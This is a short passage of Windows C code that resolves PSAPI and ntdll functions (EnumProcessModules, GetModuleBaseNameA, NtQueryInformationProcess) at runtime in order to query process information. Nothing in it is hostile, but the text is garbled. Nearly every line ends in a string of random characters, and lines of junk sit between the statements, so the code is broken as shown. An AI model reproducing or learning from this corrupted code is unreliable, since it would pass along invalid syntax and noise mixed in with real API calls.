ULONG UniqueProcessId; ^m"u3b4
ULONG InheritedFromUniqueProcessId; e2ilB),
} PROCESS_BASIC_INFORMATION; feNdMR7eM
zj`v?#ET
PROCNTQSIP NtQueryInformationProcess; pUq1|)g
NufLzg{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sz
{e''q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H]p!\H
,
GY h9
HANDLE hProcess; 3k#/{Z
PROCESS_BASIC_INFORMATION pbi; }YMy6eW4
J(%0z:exs
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,:`4%
if(NULL == hInst ) return 0; ]Nl=wZ#`
2viM)+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mc_ch$r!
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9@52Fg;mj
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r77PQQDT
'u_t<